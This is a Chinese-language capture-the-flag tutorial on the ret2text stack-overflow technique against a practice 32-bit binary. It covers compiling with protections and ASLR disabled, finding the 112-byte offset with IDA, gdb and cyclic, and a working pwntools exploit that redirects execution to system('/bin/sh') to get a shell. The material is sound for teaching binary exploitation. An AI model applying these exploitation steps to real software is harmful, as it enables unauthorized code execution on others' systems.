ret2text

一、原理

控制程序执行程序本身已有的代码(.text)。这种攻击是一种笼统的描述,被称为ROP攻击,即通过面向返回编程来攻击。ROP攻击利用了程序中已经存在的代码段(称为“gadget”),并通过操纵程序的返回地址来控制程序的执行流程。

GCC编译ret2text文本文件:

1
2
gcc -fno-stack-protector -z noexecstack -no-pie -z norelro -m32 - ret2text.c -o ret2text   //编译的文件禁用栈保护、开启NX保护、关闭RELRO并且是32
sudo -s echo 0 > /proc/sys/kernel/randomize_va_space //关闭进程地址随机化

二、程序分析

通过checksec检查程序

32位程序小端存储,除了NX栈不可执行开启,其它都是关闭状态。因为开启了栈不可执行,所以无法在栈中进行跳转,那么就考虑调用程序本身的函数,或者使用ROP技术获取gadget

使用ida静态分析程序,main函数中调用gets()函数来获取数据,因为此函数没有数据限制,所以存在栈溢出漏洞

v4作为参数,v4距离栈顶指针esp为1Ch,距离栈底指针ebp为64h,所以能就知道了能存的最大字符串数了

在main函数汇编中发现secure函数中调用了system(“/bin/sh”)的代码

溢出思路:由于gets函数对输入的字符长度没有限制,所以可以构成足够长的字符串填充栈空间,由于cannary也没有开启,所以可以继续覆盖savedebp地址和ret返回地址。如果将调用的system(‘\bin\sh’)的地址0X0804863A地址覆盖到ret返回地址处,那么程序结束的时候就会获取shell。

三、溢出

需要考虑起始地址距离main函数返回地址的距离

方法1:

ida中查看main函数汇编代码

在main接收字符串是通过esp进行索引的,用gdb查看索引时的esp和ebp位置。在call处下断点(0x080486AE),程序停在call处的初始位置,此时字符串进栈,此时寄存器中显示的就是字符串的esp和ebp

esp+1Ch就是字符串起始地址,再拿ebp-起始地址就是字符串的总长度,再加上4字节(覆盖savedebp)就是ret返回地址,所以想要改变返回地址就需要0x64+4个字节才能到达ret

方法2:

通过cyclic工具创建200个字符串(明确溢出的长度)

复制字符串到程序ret2text,通过gdb

字符串输入过长,产生报错,程序停在0x62616164,所以可以用工具查看停止处字符串长度

1
cyclic -l 0x62616164

得到112,这个长度就是字符串在栈中起始地址到ret地址的字节数

四、EXP

通过偏移量和思路写出exp:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *   #引用pwntools库

io = process('./ret2text') #以进程形式启动二进制文件ret2text并分配给变量io
secure_addr = p32(0x804863A) #将地址0x804863A转换为打包的32位小端格式并分配給变量secure_addr

payload = bytes('a' * 112,'utf-8') + secure_addr #通过连接112个'a'字符和打包的地址来构建有效载荷

io.sendline(payload) #将有效载荷发送到进程

io.interactive() #使进程变为交互式